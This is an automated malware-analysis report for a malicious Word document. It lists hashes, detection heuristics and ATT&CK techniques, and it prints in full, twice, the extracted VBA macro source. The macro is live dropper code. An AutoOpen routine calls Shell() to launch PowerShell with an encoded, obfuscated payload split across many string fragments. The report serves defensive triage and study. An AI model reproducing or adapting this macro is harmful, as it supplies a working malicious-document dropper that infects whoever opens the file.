Office (OLE) malware analysis — malicious · 25913f26196b2df7

MALICIOUS

Office (OLE)

111.2 KB Created: 2018-06-12 13:41:00 Authoring application: Microsoft Office Word First seen: 2018-07-08

MD5: a7bd466b912d5c45a2e5a6e6094a4edc SHA-1: c1564cb47aa457ae437e1d5dc9514626086ce8bb SHA-256: 25913f26196b2df7b5884d18f35ed07a8501a5ca4f0c500a4c23187879495ea8

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros. The Autoopen macro and the VIiCqhHVG function both call the Shell() function, indicating an attempt to execute arbitrary code. The ClamAV heuristic also flags this as a dropper. The specific payload executed by Shell() is obfuscated, but the intent is to download and execute a second-stage payload.

Heuristics 7

ClamAV: Doc.Dropper.Agent-6582742-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6582742-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA

Matched line in script

ouLti = Tan(53881)
VIiCqhHVG = FfznCkQc + Shell(zBbwiNf + Chr(sBEWRNtzBv + vbKeyP + RGQlMnfNsOX) + "owers" + EliRH + mUiNHJa + EjqhjW + zoVYabd + iDMhoEEf, 33556 - 33556)
ZMKIzn = Tan(16257)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13342 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	13342 bytes
SHA-256: `34efa8f66ede29ae7fc387d783e9dfecdf78c843258b7f23b2622524a8b2bcdb`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "AitXrChkSw" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function VIiCqhHVG() On Error Resume Next Vzqzvw = Tan(28818) uilCj = NJBMCz QrLYG = CDbl(LWpVt) WThCj = QkKZzN irdip = Hex(SUVFG * ChrW(bopDqE + Int(rnNOj * Rnd(14651)) * jmNHr * Log(84347 * XXRisz - auAOa + Fix(51)))) FnbjU = Tan(39840) VNVdzW = Tan(38714) jHOOOj = RXUzE RsNAF = CDbl(QvLjmW) bJCok = fjunm MrBWD = Hex(WPpEV * ChrW(crnDj + Int(abrME * Rnd(87154)) * ijcYU * Log(44270 * bAtsO - HUPGL + Fix(51)))) ouLti = Tan(53881) VIiCqhHVG = FfznCkQc + Shell(zBbwiNf + Chr(sBEWRNtzBv + vbKeyP + RGQlMnfNsOX) + "owers" + EliRH + mUiNHJa + EjqhjW + zoVYabd + iDMhoEEf, 33556 - 33556) ZMKIzn = Tan(16257) VcuqV = Rjcwup MGMkA = CDbl(FUXquw) zrQrt = GRmrV qpXNi = Hex(nmrMGw * ChrW(wGDnz + Int(zuAkZQ * Rnd(71855)) * pjqaO * Log(81625 * KrhHo - GKdklS + Fix(51)))) vzCdo = Tan(11444) End Function Sub Autoopen() On Error Resume Next VpFzz = Tan(95066) wDAmrH = oOVjJ tjXzoz = CDbl(JqjMl) UzVlj = qFIGc uLRGkj = Hex(fPclRF * ChrW(AfjIW + Int(BinCTd * Rnd(72458)) * Slldv * Log(4162 * mACFzP - trODj + Fix(51)))) JLYzjo = Tan(93253) VIiCqhHVG YOnHv = Tan(50610) irIWD = NfiCX vpvoP = CDbl(LNHMlt) FiNlO = EptOAF cKvftz = Hex(QBWda * ChrW(KjNFR + Int(PPzhA * Rnd(88003)) * ESiBa * Log(89852 * iUBRbT - jqELkL + Fix(51)))) oUcowu = Tan(80646) End Sub Attribute VB_Name = "icvmdsthA" Function EliRH() On Error Resume Next wEOMCG = Tan(76304) WQihf = jwWUHi QUrWv = CDbl(NmlbD) hwJqwF = FYTJvi ivRswa = Hex(sfkWq * ChrW(pafko + Int(mwhXIa * Rnd(28681)) * cizKwn * Log(4961 * RUtdca - QZTGwp + Fix(51)))) siVTvu = Tan(365) kQaiPDiDzpR = "HeLL " + "-e IAAuACgAI" + "AAkAGU" + "AbgB" + "WA" + "DoAYwBPAG0A" IRjzs = Tan(19248) aaCEGI = rLzMK zpTQn = CDbl(qOpdsI) tMbtih = iztEuj irJTj = Hex(iaTzTK * ChrW(TTkwJv + Int(PwPRV * Rnd(59078)) * iwvPVD * Log(51312 * XfJIY - SsdaUm + Fix(51)))) POwuz = Tan(24297) PzjcLmv = "UwBwAGUAQwBbADQ" + "ALAAyADYALAAyAD" + "UAXQA" + "tAGoATwBJAG" + "4A" + "JwAnACkAIAAoAG" + "4ARQBXAC0ATw" + "BCAEoAZQBDAHQA" + "IABzAFkAUwB0AE" + "UA" jbswE = Tan(7557) bXizG = LvFnB XwFmr = CDbl(sVSkz) WrTYv = LEUzrV cNRwTI = Hex(tcpKd * ChrW(BzMihr + Int(NbPAn * Rnd(99725)) * czCXF * Log(69577 * OnaWzb - buBJuG + Fix(51)))) NrmRzz = Tan(65151) FjTASWAIXQm = "bQAuAEkATw" + "AuAGMA" + "bwBtAFAA" + "UgBFAHMAUwB" + "JAG8ATgAuAGQA" wQLTp = Tan(64499) ZREtwm = lLiPi hNrsth = CDbl(FQFFm) NpKLf = IfUjFA wDGaj = Hex(OwUkZS * ChrW(HSqJLw + Int(pZUaz * Rnd(6124)) * aFMils * Log(71033 * LwpWVX - sFktE + Fix(51)))) poKXGt = Tan(36496) ZPRPbiTN = "ZQBm" + "AEwAQQB0AE" + "UAcwBU" + "AHIARQBBAG0AKA" + "BbAFMAWQBT" + "AHQAZQBNAC4" ifafH = Tan(78768) HFnapY = sUpdj jPqGww = CDbl(RCGiwR) cSOqN = WlzwTP hwqid = Hex(qrTpT * ChrW(JEZFzJ + Int(XOfZFw * Rnd(29658)) * GvPtn * Log(68206 * DULXAn - SIduJD + Fix(51)))) wjAnrr = Tan(84273) SYKFvzZ = "AaQBvA" + "C4ATQBlAE" + "0AT" + "wBSAHkAUw" + "B0AHIAR" + "QBhA" + "G0" WkkOK = Tan(68971) EwjwRB = tbIow XwKoLV = CDbl(OPFws) Bzanm = rWEjOL dsmYfD = Hex(wiaavC * ChrW(ahorkF + Int(zGSoV * Rnd(21801)) * ZTPwd * Log(48574 * RcqZtz - WXArj + Fix(51)))) RoPpiF = Tan(39606) jkilcpIV = "AXQAgA" + "FsAcwBZA" + "FMAVABFAE0ALgBD" + "AE8ATgB" + "WAEUAUgBUA" + "F0AOgA6AEY" + "AUgBvAG0AYgBhA" + "FMAZQA2ADQAU" + "wB0" lUkJrq = Tan(43415) LiSdz = FzRrI djSwm = CDbl(mlDaR) ENjHG = BGhKM ZFqJi = Hex(XnwGA * ChrW(CnXUE + Int(IkMuZj * Rnd(53570)) * rCpCjS * Log(45619 * XjhdCm - ibzNf + Fix(51)))) TrhCw = Tan(4534) jKDvUjjzarH = "AFIAaQBuAEcA" + "KAA" + "nAFYAWgBC" + "AHIAVAA4AEk" + "AdwBGAEk" JfjGhk = Tan(51042) zuahd = Qrmai hhSbV = CDbl(sXKIAk) wmrza = RLihhX BwCAub = Hex(jubMF * ChrW(krCKpu + Int(QhUZsL * Rnd(58631)) * KwAlE * Log(79522 * uVKNYX - BKitpL + Fix(51)))) IXsnj = Tan(30223) wpDbT = "AYgAvAFMA" + "agA4AHMARwBVA" + "FQAcABJAHMAUwB" + "BAEwAQwB" idIiz = Tan(92172) vbbBv = zhAbVT fJuwWT = CDbl(BbIwXZ) PrCibb = GjDsu cbXQR = Hex(jnUjK * ChrW(iETUT + Int(dVNhpz * Rnd(94890)) * sRZaqF * Log(53718 * OaDrjK - nuIsRw + Fix(51)))) ulPaP = Tan(46502) wsfmdwpKr = "ZAF" + "kAdQBRAGcARQBCA" + "EkAZAB" + "pA" + "GoA" EliRH = kQaiPDiDzpR + PzjcLmv + FjTASWAIXQm + ZPRPbiTN + SYKFvzZ + jkilcpIV + jKDvUjjzarH + wpDbT + wsfmdwpKr End Function Function mUiNHJa() On Error Resume Next umZTX = Tan(41076) OusEk = ptQbvT anjFfz = CDbl(WnKPq) pUndY = oYZAP jPjAUo = Hex(vshHFU * ChrW(Zzvakc + Int(hsVGn * Rnd(4994)) * iHBmQS * Log(98390 * oVSVku - HMiJl + Fix(51)))) odwQmY = Tan(98886) hYjtl = "SQBuAHAAdQBnAE0" + "AcgBi" + "AE8AMwB" + "jA" + "EQAbgBSAEEA" + "KwBPACs" + "AVwB" + "tADg" + "AWQB2AFQAZ" Luhlt = Tan(32260) jUoCor = ZHOsT kIXiR = CDbl(pdCWd) zJdblj = iabstH sdEqBu = Hex(dnCWC * ChrW(saHdz + Int(Ioihw * Rnd(42425)) * BpvJQi * Log(45052 * IMZLV - oWWaEi + Fix(51)))) zDTzu = Tan(67831) tsSNA = "AByADMATwBa" + "AGMAKwBWAHI" + "ASgA0AFcA" + "TABYAEoA" + "UA" + "BaAE" + "cAZwBTADgAcA" + "BmAEEARQBlAFM" JKvGUX = Tan(87413) hdmsf = jOhRc USLHtn = CDbl(BmcMW) ZKwQTq = pYosoL NQolf = Hex(Idqwo * ChrW(hHrcF + Int(PwGqk * Rnd(97920)) * ailvd * Log(37156 * ijBlw - jFmvTA + Fix(51)))) HJqwvj = Tan(51812) hCkHQAs = "ATQBoAG0AbwA" + "yAE" + "wAV" + "wBDAFUATQBqAGU" + "AKwB" NzWfp = Tan(46423) mWhNi = dzFFi lKLLX = CDbl(XFRomA) stVmiG = SbSPN VFiLk = Hex(RUpOBl * ChrW(vRSnzk + Int(SmcHLb * Rnd(98334)) * vJrvz * Log(31906 * SbFEt - ZCiUAi + Fix(51)))) sAoVf = Tan(60333) khtBCXp = "uAC8AbQ" + "BiAFQASwBFAG0A" + "QQA0" + "AEIANgBSAFQA" + "OAB4ADAAaQB" icWAIt = Tan(94117) fXFoj = zrhtqz jwnKwn = CDbl(uVWQSc) qEFvAl = WHOMvi JGcofu = Hex(ijqMFU * ChrW(KApVGA + Int(mczqN * Rnd(86483)) * qYzAJ * Log(68675 * Oubmhj - UPjuR + Fix(51)))) MGZro = Tan(57476) vtsUqFz = "BAFI" + "AT" + "gBkAD" + "YARwA" + "zAHcAcwB1AEE" + "ASAB0A" + "EUARAB" WiiwRC = Tan(72736) KsLwkt = GNjYTz NOvwX = CDbl(jzGLf) OjPcUf = XJWXwj QAMHPK = Hex(FRQDVi * ChrW(DLmAQk + Int(MqkOtY * Rnd(49462)) * qqzQv * Log(71123 * nwvVNJ - zZzBK + Fix(51)))) wkXhv = Tan(94298) hBzts = "HAHAATwA0ADcAVw" + "BtA" + "HYAb" + "wBzAFcANQB" + "wAHcA" + "SgBsAE" + "kAaABZADcAWQBVA" mUiNHJa = hYjtl + tsSNA + hCkHQAs + khtBCXp + vtsUqFz + hBzts End Function Function EjqhjW() On Error Resume Next JbtWl = Tan(24688) bZFFiz = YnEvX urKPr = CDbl(FJGTQ) whZLF = jAMqZ uSKzZ = Hex(SmYbIS * ChrW(iiXGn + Int(FpljS * Rnd(89533)) * ifLXJ * Log(7667 * qVYDG - KAivXY + Fix(51)))) vauMt = Tan(47541) LspvXYu = "GsAbABHAH" + "UAWQBpAGM" + "AZAA4AC8ASgA3" + "AFoAKwAyAFAAbgB" + "jAFkARgBCAG4AKw" + "AxA" UfIjs = Tan(9382) OnaAS = AZJFT DKELp = CDbl(unRHk) dkhzLM = LBXwND ETGVRo = Hex(tVMPTT * ChrW(wRvGD + Int(XiXDOw * Rnd(31340)) * wjOrH * Log(89120 * ajvpw - kPVir + Fix(51)))) SNkcpK = Tan(52055) KQRLCVtJki = "GoAWgBrAFUAVg" + "BBAEkANgArA" + "GYAQgB0ADUAY" + "gBWADA" + "AZgA" + "xAHY" + "ANQBBADAAeQAzAE" + "oARwB" + "JAG0AWgBhAG4" WwCHU = Tan(46638) uozXMZ = XkzQG mSBVW = CDbl(ztOEY) jWliio = XSqaX fTDqz = Hex(YDDlDu * ChrW(lQasfk + Int(qfCdt * Rnd(12596)) * vjEvs * Log(57332 * qltDP - zidlij + Fix(51)))) DEzaKq = Tan(96562) oSGmkn = "AWQBuAEwAcABFA" + "C8AagBOAG" + "YAcgA4AEoALwB" + "qAEoAQwBCAFkAS" + "ABjAHMAUABoA" + "EkANgBLAFgARQBs" + "ADAA" + "VwB6AG" AQazs = Tan(34476) UwpLQW = fjpQIa CRvJK = CDbl(qlilB) rqUTGW = WJivW ZJZQk = Hex(hYHzwi * ChrW(iKmiTE + Int(lfDKM * Rnd(67024)) * wDCXVY * Log(82170 * wRVtqT - jsVpS + Fix(51)))) zjbKrN = Tan(64465) ZYtEjYkJ = "cAYgBFAG" + "UAdABUAHQANgBk" + "ADYAZ" + "QBD" + "AFg" + "Aeg" + "BuAGgAdwB" FPDCAj = Tan(39172) ZcFwz = VNaNp wKoXQG = CDbl(UbNiLJ) sCRrqk = fStjVq OOkiYD = Hex(uajltj * ChrW(dMwun + Int(TTviW * Rnd(8499)) * QrvouQ * Log(23306 * NdAmF - zblGzB + Fix(51)))) BGuoik = Tan(38548) EEoSfiLc = "nAE8A" + "ZwBjAG4A" + "VgA2AFYAOAAr" + "ADM" SCHTMj = Tan(5979) rrdXuQ = wIiLVr cZDEO = CDbl(AALjsJ) bsTsOu = tOTdrl wjAYw = Hex(HahQI * ChrW(Rirfw + Int(lVHFpp * Rnd(94595)) * vQNFZM * Log(56253 * ETLHt - mBLCk + Fix(51)))) cRBiWw = Tan(12647) hLkBcR = "AMwB0A" + "EgAcwByAEgA" + "WgB0ADYAU" + "wBTAFMAdwBZAEQ" + "AZgBz" + "AG8AbQB2AHg" PrrKb = Tan(45829) qMcrw = DaXUpm iGumFA = CDbl(iOfibF) wMcAj = zvoiL JYqdOh = Hex(bhJzE * ChrW(bacch + Int(PqbFNv * Rnd(36857)) * QhmSL * Log(52404 * rYokQ - PifpP + Fix(51)))) vFvUT = Tan(14499) wXlqs = "AbQBEAGYAagAwA" + "EgAegBLA" + "E8AaQB" + "vAHkAeQArAFYAWQ" + "B1" + "AEwAawBtAD" + "UAVgBx" + "AHQ" + "AVQB" EjqhjW = LspvXYu + KQRLCVtJki + oSGmkn + ZYtEjYkJ + EEoSfiLc + hLkBcR + wXlqs End Function Function zoVYabd() On Error Resume Next vwhTci = Tan(90978) vtvqm = nkBorQ AMvQwY = CDbl(DUMSK) fUJFL = VbTkk duHVuj = Hex(rzvkmC * ChrW(KXVbhc + Int(QwSavc * Rnd(78155)) * QjbLSV * Log(57970 * iafqT - jjWDh + Fix(51)))) zGsDHR = Tan(23342) nHFcwzpOr = "xADQ" + "AYQA0AEwAWA" + "B6AE4ASABrAD" + "UANQBDA" ouzDnw = Tan(64340) JajIf = nABmN OjDruw = CDbl(KoYDBJ) bobcCX = UawUZM SrBVES = Hex(FqHJrw * ChrW(alWiz + Int(jzZZjp * Rnd(6399)) * IHXVjG * Log(83539 * WiwqAV - TSKYSt + Fix(51)))) alaOKT = Tan(34029) vSXwEbhSz = "EQAWABkAFM" + "AT" + "QBsAEkA" + "VgBm" + "AEUALwB" + "yAF" + "QATgBlAGEAaw" + "Ax" lOPowi = Tan(68586) IsfiOo = IzKAGG RkzTh = CDbl(uUwXiu) hbMYPj = CjnPal SRzSLV = Hex(ziodB * ChrW(tnvIzU + Int(DhkllW * Rnd(54140)) * lzksv * Log(73437 * DwETZk - wXvOmk + Fix(51)))) kiQGu = Tan(92310) WGuIjEihS = "AGQAdwBvADUA" + "MgBPADUATQ" + "BwAG" + "MA" + "QgA0AFcATABE" + "ADYAbwBx" + "ADEAQwBJAGkAU" jOhptp = Tan(23240) EkFLRj = DjuHTk qWjrH = CDbl(STmBq) WiXijv = OTLIa fmbjL = Hex(cATYKF * ChrW(hLOkz + Int(VZMPf * Rnd(3375)) * LuVti * Log(27209 * XcOqk - NNrDKM + Fix(51)))) iOMAi = Tan(25571) EazZwcBjd = "QA1AEsAUwB2AHU" + "ATQ" + "BOADMAc" + "wB6AHEASgB" + "wAFUAMgBrA" + "FoASw" + "BSAGEAMABSAFE" + "AUgBuAGw" + "ARQA2AFUAaAAw" + "AGIAZwB" FtSWv = Tan(65776) biiZtw = iEzXAW HiJFTc = CDbl(zhVLRJ) dKrvB = mfMiRQ zJPciq = Hex(zKJRc * ChrW(MdAIO + Int(msAuGc * Rnd(97434)) * EcWfnC * Log(98934 * oStdbw - SAaSw + Fix(51)))) IfDPp = Tan(57224) DiYAV = "2AEYAQw" + "A4AEoA" + "cQBlAEoAUgBkAG" + "MAegBIAHIAQQAwA" + "FMAaABXAEgATAB" wOIzjz = Tan(17195) oddZG = phPkAq htjKCa = CDbl(zSPzYP) ZJutdn = iXwspr zofpn = Hex(QVcpjX * ChrW(YVOjA + Int(oPXUrW * Rnd(6619)) * DWjRM * Log(68046 * zdkIlS - EjFMG + Fix(51)))) LIIQrw = Tan(4626) tYGpCj = "EAHUALwB1AHIAN" + "gBaAHMASABUADM" + "AbgBDAEU" + "AUA" + "BkAH" + "oAb" ZTnSj = Tan(87410) wsXUn = YriXPY LqPiQ = CDbl(ruNTZN) baJwpC = HFohs snQis = Hex(ajriEJ * ChrW(HBTkZ + Int(GGHwih * Rnd(65654)) * ALFCi * Log(73386 * kDdjbz - zjrFmo + Fix(51)))) WoVOkl = Tan(21478) mMwptsicIWU = "wBWAEMASwBWAFEA" + "WgBVAGkAc" + "wBM" + "ADkAcgBLAE8AU" + "wBRAG8AbA" + "BLAFEARABV" + "ADgA" + "RABtADQATwA3AD" zoVYabd = nHFcwzpOr + vSXwEbhSz + WGuIjEihS + EazZwcBjd + DiYAV + tYGpCj + mMwptsicIWU End Function Function iDMhoEEf() On Error Resume Next piwKPa = Tan(44824) fWXCWw = BwATIX cuuSd = CDbl(kozAn) OvmQiN = zLjPlY zUQjR = Hex(NjFBQ * ChrW(wABrYW + Int(XjuOh * Rnd(34617)) * iavtf * Log(17104 * EXQXOi - lfpkAl + Fix(51)))) avTKt = Tan(42439) PkfTKWP = "MAU" + "AB3AD0APQAnACA" + "AKQAsA" + "CAAW" + "wBJAE8AL" oFFjR = Tan(23116) mnMWH = sclUK dlEEdj = CDbl(pHibil) tPSKow = RwrcN iXwJzA = Hex(sOkAb * ChrW(kWMIM + Int(kUJdJb * Rnd(61758)) * QMmNc * Log(30553 * wRJVbi - uifSil + Fix(51)))) AFqiz = Tan(55755) qzbRKmuYN = "gBDAG" + "8AT" + "QBQAFIARQBzAF" + "MAS" + "QBP" + "AG4A" + "LgBjAE8AbQBQ" + "AFIARQBTA" + "HMAaQBvAG" + "4ATQBPAGQARQB" YuoiT = Tan(74123) jcWYLP = FCmlvE izrsuC = CDbl(Gvjcm) aWVnI = rOCIuW ZvDDt = Hex(Ywtzz * ChrW(YjXZjn + Int(ZBLijz * Rnd(56040)) * MLcowV * Log(48404 * VDspYO - jZYzj + Fix(51)))) UoVVz = Tan(95795) PVuIObZHQa = "dADoAOgBkAGUAQw" + "BPAG0AUABSAG" + "UAUwBzACAAKQA" + "gA" + "HwAIABmAE8Acg" + "BlAEEAQwBIAC" + "0ATwBC" + "AEoAZQBDAF" + "QAIAB7AG4AR" + "QBXAC0" NMWDQ = Tan(8342) mRIAT = GCWozW lfIIC = CDbl(nsXGTz) EPIjo = UCcPR ijFRR = Hex(YcnjiE * ChrW(BWQTP + Int(pCvuq * Rnd(87919)) * AXBIIQ * Log(83172 * YJiaFZ - UkVhES + Fix(51)))) DEiNEc = Tan(41326) IMKSlGXJ = "ATwBCAEoAZQB" + "DAHQAIAAgAHMAeQ" + "BTAHQARQBt" + "AC4Aa" + "QBPAC4AUwB0A" oOYbhB = Tan(52105) aSMddM = tJluhK JpXNT = CDbl(avLPPp) TCirt = GuPrpJ VoEShn = Hex(PFiET * ChrW(dEfGzO + Int(rOqftB * Rnd(76214)) * itzhE * Log(54895 * lqshbR - OTaXL + Fix(51)))) CPItb = Tan(41848) GXuSlKw = "HIA" + "RQBBAE0Acg" + "BFAGEARABlA" + "HIAKAAgACQ" + "AXwAgACwAIAB" + "bAFQAZQB" + "4AF" + "QALg" + "BFAE4AYw" + "BPAEQAaQBOAE" HwZYjA = Tan(38127) MlWPEB = oNQmV AWFWpX = CDbl(PkEGi) UnRTBa = VCiDIG jaudo = Hex(OHbUC * ChrW(dSVbjP + Int(chfWuO * Rnd(23326)) * QwoBN * Log(66967 * RopaS - OMLzQL + Fix(51)))) fzaBnb = Tan(58688) VKZBInXH = "cAXQA6ADoAYQB" + "TA" + "EMASQBpACAAKQ" + "AgAH0AI" EDAOcc = Tan(96140) nSpHU = jlGzw UTZdD = CDbl(rQXmN) EaNkpM = FQDYfb cfTov = Hex(dQNkiW * ChrW(NlhlB + Int(DDumv * Rnd(93759)) * IswQvu * Log(4096 * lLziqY - oNdGS + Fix(51)))) cUiRX = Tan(50892) srCZjFcop = "AApAC4AcgBFAEE" + "ARAB0AG" + "8AZQBOAGQ" + "AKAAgAC" + "kA" iDMhoEEf = PkfTKWP + qzbRKmuYN + PVuIObZHQa + IMKSlGXJ + GXuSlKw + VKZBInXH + srCZjFcop End Function

SHA-256: 34efa8f66ede29ae7fc387d783e9dfecdf78c843258b7f23b2622524a8b2bcdb

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "AitXrChkSw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function VIiCqhHVG()
On Error Resume Next
Vzqzvw = Tan(28818)
uilCj = NJBMCz
QrLYG = CDbl(LWpVt)
WThCj = QkKZzN
irdip = Hex(SUVFG * ChrW(bopDqE + Int(rnNOj * Rnd(14651)) * jmNHr * Log(84347 * XXRisz - auAOa + Fix(51))))
FnbjU = Tan(39840)
VNVdzW = Tan(38714)
jHOOOj = RXUzE
RsNAF = CDbl(QvLjmW)
bJCok = fjunm
MrBWD = Hex(WPpEV * ChrW(crnDj + Int(abrME * Rnd(87154)) * ijcYU * Log(44270 * bAtsO - HUPGL + Fix(51))))
ouLti = Tan(53881)
VIiCqhHVG = FfznCkQc + Shell(zBbwiNf + Chr(sBEWRNtzBv + vbKeyP + RGQlMnfNsOX) + "owers" + EliRH + mUiNHJa + EjqhjW + zoVYabd + iDMhoEEf, 33556 - 33556)
ZMKIzn = Tan(16257)
VcuqV = Rjcwup
MGMkA = CDbl(FUXquw)
zrQrt = GRmrV
qpXNi = Hex(nmrMGw * ChrW(wGDnz + Int(zuAkZQ * Rnd(71855)) * pjqaO * Log(81625 * KrhHo - GKdklS + Fix(51))))
vzCdo = Tan(11444)
End Function
Sub Autoopen()
On Error Resume Next
VpFzz = Tan(95066)
wDAmrH = oOVjJ
tjXzoz = CDbl(JqjMl)
UzVlj = qFIGc
uLRGkj = Hex(fPclRF * ChrW(AfjIW + Int(BinCTd * Rnd(72458)) * Slldv * Log(4162 * mACFzP - trODj + Fix(51))))
JLYzjo = Tan(93253)
VIiCqhHVG
YOnHv = Tan(50610)
irIWD = NfiCX
vpvoP = CDbl(LNHMlt)
FiNlO = EptOAF
cKvftz = Hex(QBWda * ChrW(KjNFR + Int(PPzhA * Rnd(88003)) * ESiBa * Log(89852 * iUBRbT - jqELkL + Fix(51))))
oUcowu = Tan(80646)
End Sub


Attribute VB_Name = "icvmdsthA"
Function EliRH()
On Error Resume Next
wEOMCG = Tan(76304)
WQihf = jwWUHi
QUrWv = CDbl(NmlbD)
hwJqwF = FYTJvi
ivRswa = Hex(sfkWq * ChrW(pafko + Int(mwhXIa * Rnd(28681)) * cizKwn * Log(4961 * RUtdca - QZTGwp + Fix(51))))
siVTvu = Tan(365)
kQaiPDiDzpR = "HeLL " + "-e IAAuACgAI" + "AAkAGU" + "AbgB" + "WA" + "DoAYwBPAG0A"
IRjzs = Tan(19248)
aaCEGI = rLzMK
zpTQn = CDbl(qOpdsI)
tMbtih = iztEuj
irJTj = Hex(iaTzTK * ChrW(TTkwJv + Int(PwPRV * Rnd(59078)) * iwvPVD * Log(51312 * XfJIY - SsdaUm + Fix(51))))
POwuz = Tan(24297)
PzjcLmv = "UwBwAGUAQwBbADQ" + "ALAAyADYALAAyAD" + "UAXQA" + "tAGoATwBJAG" + "4A" + "JwAnACkAIAAoAG" + "4ARQBXAC0ATw" + "BCAEoAZQBDAHQA" + "IABzAFkAUwB0AE" + "UA"
jbswE = Tan(7557)
bXizG = LvFnB
XwFmr = CDbl(sVSkz)
WrTYv = LEUzrV
cNRwTI = Hex(tcpKd * ChrW(BzMihr + Int(NbPAn * Rnd(99725)) * czCXF * Log(69577 * OnaWzb - buBJuG + Fix(51))))
NrmRzz = Tan(65151)
FjTASWAIXQm = "bQAuAEkATw" + "AuAGMA" + "bwBtAFAA" + "UgBFAHMAUwB" + "JAG8ATgAuAGQA"
wQLTp = Tan(64499)
ZREtwm = lLiPi
hNrsth = CDbl(FQFFm)
NpKLf = IfUjFA
wDGaj = Hex(OwUkZS * ChrW(HSqJLw + Int(pZUaz * Rnd(6124)) * aFMils * Log(71033 * LwpWVX - sFktE + Fix(51))))
poKXGt = Tan(36496)
ZPRPbiTN = "ZQBm" + "AEwAQQB0AE" + "UAcwBU" + "AHIARQBBAG0AKA" + "BbAFMAWQBT" + "AHQAZQBNAC4"
ifafH = Tan(78768)
HFnapY = sUpdj
jPqGww = CDbl(RCGiwR)
cSOqN = WlzwTP
hwqid = Hex(qrTpT * ChrW(JEZFzJ + Int(XOfZFw * Rnd(29658)) * GvPtn * Log(68206 * DULXAn - SIduJD + Fix(51))))
wjAnrr = Tan(84273)
SYKFvzZ = "AaQBvA" + "C4ATQBlAE" + "0AT" + "wBSAHkAUw" + "B0AHIAR" + "QBhA" + "G0"
WkkOK = Tan(68971)
EwjwRB = tbIow
XwKoLV = CDbl(OPFws)
Bzanm = rWEjOL
dsmYfD = Hex(wiaavC * ChrW(ahorkF + Int(zGSoV * Rnd(21801)) * ZTPwd * Log(48574 * RcqZtz - WXArj + Fix(51))))
RoPpiF = Tan(39606)
jkilcpIV = "AXQAgA" + "FsAcwBZA" + "FMAVABFAE0ALgBD" + "AE8ATgB" + "WAEUAUgBUA" + "F0AOgA6AEY" + "AUgBvAG0AYgBhA" + "FMAZQA2ADQAU" + "wB0"
lUkJrq = Tan(43415)
LiSdz = FzRrI
djSwm = CDbl(mlDaR)
ENjHG = BGhKM
ZFqJi = Hex(XnwGA * ChrW(CnXUE + Int(IkMuZj * Rnd(53570)) * rCpCjS * Log(45619 * XjhdCm - ibzNf + Fix(51))))
TrhCw = Tan(4534)
jKDvUjjzarH = "AFIAaQBuAEcA" + "KAA" + "nAFYAWgBC" + "AHIAVAA4AEk" + "AdwBGAEk"
JfjGhk = Tan(51042)
zuahd = Qrmai
hhSbV = CDbl(sXKIAk)
wmrza = RLihhX
BwCAub = Hex(jubMF * ChrW(krCKpu + Int(QhUZsL * Rnd(58631)) * KwAlE * Log(79522 * uVKNYX - BKitpL + Fix(51))))
IXsnj = Tan(30223)
wpDbT = "AYgAvAFMA" + "agA4AHMARwBVA" + "FQAcABJAHMAUwB" + "BAEwAQwB"
idIiz = Tan(92172)
vbbBv = zhAbVT
fJuwWT = CDbl(BbIwXZ)
PrCibb = GjDsu
cbXQR = Hex(jnUjK * ChrW(iETUT + Int(dVNhpz * Rnd(94890)) * sRZaqF * Log(53718 * OaDrjK - nuIsRw + Fix(51))))
ulPaP = Tan(46502)
wsfmdwpKr = "ZAF" + "kAdQBRAGcARQBCA" + "EkAZAB" + "pA" + "GoA"
EliRH = kQaiPDiDzpR + PzjcLmv + FjTASWAIXQm + ZPRPbiTN + SYKFvzZ + jkilcpIV + jKDvUjjzarH + wpDbT + wsfmdwpKr
End Function
Function mUiNHJa()
On Error Resume Next
umZTX = Tan(41076)
OusEk = ptQbvT
anjFfz = CDbl(WnKPq)
pUndY = oYZAP
jPjAUo = Hex(vshHFU * ChrW(Zzvakc + Int(hsVGn * Rnd(4994)) * iHBmQS * Log(98390 * oVSVku - HMiJl + Fix(51))))
odwQmY = Tan(98886)
hYjtl = "SQBuAHAAdQBnAE0" + "AcgBi" + "AE8AMwB" + "jA" + "EQAbgBSAEEA" + "KwBPACs" + "AVwB" + "tADg" + "AWQB2AFQAZ"
Luhlt = Tan(32260)
jUoCor = ZHOsT
kIXiR = CDbl(pdCWd)
zJdblj = iabstH
sdEqBu = Hex(dnCWC * ChrW(saHdz + Int(Ioihw * Rnd(42425)) * BpvJQi * Log(45052 * IMZLV - oWWaEi + Fix(51))))
zDTzu = Tan(67831)
